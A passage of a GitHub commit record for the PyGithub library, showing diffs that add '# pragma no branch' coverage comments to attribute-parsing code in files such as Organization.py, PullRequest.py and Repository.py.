]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"78ac913ccb12dc01a5064095456078444925ae9e","filename":"src/github/Organization.py","status":"modified","additions":24,"deletions":24,"changes":48,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Organization.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Organization.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -390,75 +390,75 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"billing_email\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None:\n+ if \"billing_email\" in attributes and attributes[ \"billing_email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"billing_email\" ], str )\n self.__billing_email = attributes[ \"billing_email\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]"},{"sha":"043f6f5db4d094d723aafbec7fe54a77205e9f0f","filename":"src/github/Permissions.py","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Permissions.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Permissions.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"admin\", \"pull\", \"push\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"admin\" in attributes and attributes[ \"admin\" ] is not None:\n+ if \"admin\" in attributes and attributes[ \"admin\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"admin\" ], bool )\n self.__admin = attributes[ \"admin\" ]\n- if \"pull\" in attributes and attributes[ \"pull\" ] is not None:\n+ if \"pull\" in attributes and attributes[ \"pull\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pull\" ], bool )\n self.__pull = attributes[ \"pull\" ]\n- if \"push\" in attributes and attributes[ \"push\" ] is not None:\n+ if \"push\" in attributes and attributes[ \"push\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"push\" ], bool )\n self.__push = attributes[ \"push\" ]"},{"sha":"14ac71bd4920084cd9c8dd2e452c707d82807a64","filename":"src/github/Plan.py","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Plan.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Plan.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -37,15 +37,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"collaborators\", \"name\", \"private_repos\", \"space\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None:\n+ if \"private_repos\" in attributes and attributes[ \"private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_repos\" ], int )\n self.__private_repos = attributes[ \"private_repos\" ]\n- if \"space\" in attributes and attributes[ \"space\" ] is not None:\n+ if \"space\" in attributes and attributes[ \"space\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"space\" ], int )\n self.__space = attributes[ \"space\" ]"},{"sha":"07e945e4b49ca0d8cb8e06c124431022765bc8f0","filename":"src/github/PullRequest.py","status":"modified","additions":26,"deletions":26,"changes":52,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/PullRequest.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -279,56 +279,56 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"base\", \"body\", \"changed_files\", \"closed_at\", \"comments\", \"commits\", \"created_at\", \"deletions\", \"diff_url\", \"head\", \"html_url\", \"id\", \"issue_url\", \"mergeable\", \"merged\", \"merged_at\", \"merged_by\", \"number\", \"patch_url\", \"review_comments\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"base\" in attributes and attributes[ \"base\" ] is not None:\n+ if \"base\" in attributes and attributes[ \"base\" ] is not None: # pragma no branch\n self.__base = attributes[ \"base\" ]\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None:\n+ if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None: # pragma no branch\n self.__changed_files = attributes[ \"changed_files\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n self.__comments = attributes[ \"comments\" ]\n- if \"commits\" in attributes and attributes[ \"commits\" ] is not None:\n+ if \"commits\" in attributes and attributes[ \"commits\" ] is not None: # pragma no branch\n self.__commits = attributes[ \"commits\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None:\n+ if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None: # pragma no branch\n self.__diff_url = attributes[ \"diff_url\" ]\n- if \"head\" in attributes and attributes[ \"head\" ] is not None:\n+ if \"head\" in attributes and attributes[ \"head\" ] is not None: # pragma no branch\n self.__head = attributes[ \"head\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None:\n+ if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None: # pragma no branch\n self.__issue_url = attributes[ \"issue_url\" ]\n- if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None:\n+ if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None: # pragma no branch\n self.__mergeable = attributes[ \"mergeable\" ]\n- if \"merged\" in attributes and attributes[ \"merged\" ] is not None:\n+ if \"merged\" in attributes and attributes[ \"merged\" ] is not None: # pragma no branch\n self.__merged = attributes[ \"merged\" ]\n- if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None:\n+ if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None: # pragma no branch\n self.__merged_at = attributes[ \"merged_at\" ]\n- if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None:\n+ if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None: # pragma no branch\n self.__merged_by = attributes[ \"merged_by\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n self.__number = attributes[ \"number\" ]\n- if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None:\n+ if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None: # pragma no branch\n self.__patch_url = attributes[ \"patch_url\" ]\n- if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None:\n+ if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None: # pragma no branch\n self.__review_comments = attributes[ \"review_comments\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"d0095192e606f65fec81882be15aca06ac47e5e3","filename":"src/github/PullRequestComment.py","status":"modified","additions":11,"deletions":11,"changes":22,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/PullRequestComment.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -121,26 +121,26 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )"},{"sha":"043fb9a5328ad003b449573616e418f17e25bac2","filename":"src/github/PullRequestFile.py","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/PullRequestFile.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]"},{"sha":"30b4bc70dc2a72c52c1cf02e63a26e1cfaf5676e","filename":"src/github/Repository.py","status":"modified","additions":31,"deletions":31,"changes":62,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Repository.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -905,96 +905,96 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"clone_url\", \"created_at\", \"description\", \"fork\", \"forks\", \"full_name\", \"git_url\", \"has_downloads\", \"has_issues\", \"has_wiki\", \"homepage\", \"html_url\", \"id\", \"language\", \"master_branch\", \"mirror_url\", \"name\", \"open_issues\", \"organization\", \"owner\", \"parent\", \"permissions\", \"private\", \"pushed_at\", \"size\", \"source\", \"ssh_url\", \"svn_url\", \"updated_at\", \"url\", \"watchers\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None:\n+ if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"clone_url\" ], str )\n self.__clone_url = attributes[ \"clone_url\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"fork\" in attributes and attributes[ \"fork\" ] is not None:\n+ if \"fork\" in attributes and attributes[ \"fork\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork\" ], bool )\n self.__fork = attributes[ \"fork\" ]\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], int )\n self.__forks = attributes[ \"forks\" ]\n- if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None:\n+ if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"full_name\" ], str )\n self.__full_name = attributes[ \"full_name\" ]\n- if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None:\n+ if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_url\" ], str )\n self.__git_url = attributes[ \"git_url\" ]\n- if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None:\n+ if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_downloads\" ], bool )\n self.__has_downloads = attributes[ \"has_downloads\" ]\n- if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None:\n+ if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_issues\" ], bool )\n self.__has_issues = attributes[ \"has_issues\" ]\n- if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None:\n+ if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_wiki\" ], bool )\n self.__has_wiki = attributes[ \"has_wiki\" ]\n- if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None:\n+ if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"homepage\" ], str )\n self.__homepage = attributes[ \"homepage\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"language\" in attributes and attributes[ \"language\" ] is not None:\n+ if \"language\" in attributes and attributes[ \"language\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"language\" ], str )\n self.__language = attributes[ \"language\" ]\n- if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None:\n+ if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"master_branch\" ], str )\n self.__master_branch = attributes[ \"master_branch\" ]\n- if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None:\n+ if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mirror_url\" ], str )\n self.__mirror_url = attributes[ \"mirror_url\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"organization\" in attributes and attributes[ \"organization\" ] is not None:\n+ if \"organization\" in attributes and attributes[ \"organization\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"organization\" ], dict )\n self.__organization = Organization.Organization( self.__requester, attributes[ \"organization\" ], completion = LazyCompletion )\n- if \"owner\" in attributes and attributes[ \"owner\" ] is not None:\n+ if \"owner\" in attributes and attributes[ \"owner\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owner\" ], dict )\n self.__owner = NamedUser.NamedUser( self.__requester, attributes[ \"owner\" ], completion = LazyCompletion )\n- if \"parent\" in attributes and attributes[ \"parent\" ] is not None:\n+ if \"parent\" in attributes and attributes[ \"parent\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parent\" ], dict )\n self.__parent = Repository( self.__requester, attributes[ \"parent\" ], completion = LazyCompletion )\n- if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None:\n+ if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"permissions\" ], dict )\n self.__permissions = Permissions.Permissions( self.__requester, attributes[ \"permissions\" ], completion = LazyCompletion )\n- if \"private\" in attributes and attributes[ \"private\" ] is not None:\n+ if \"private\" in attributes and attributes[ \"private\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private\" ], bool )\n self.__private = attributes[ \"private\" ]\n- if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None:\n+ if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pushed_at\" ], str )\n self.__pushed_at = attributes[ \"pushed_at\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"source\" in attributes and attributes[ 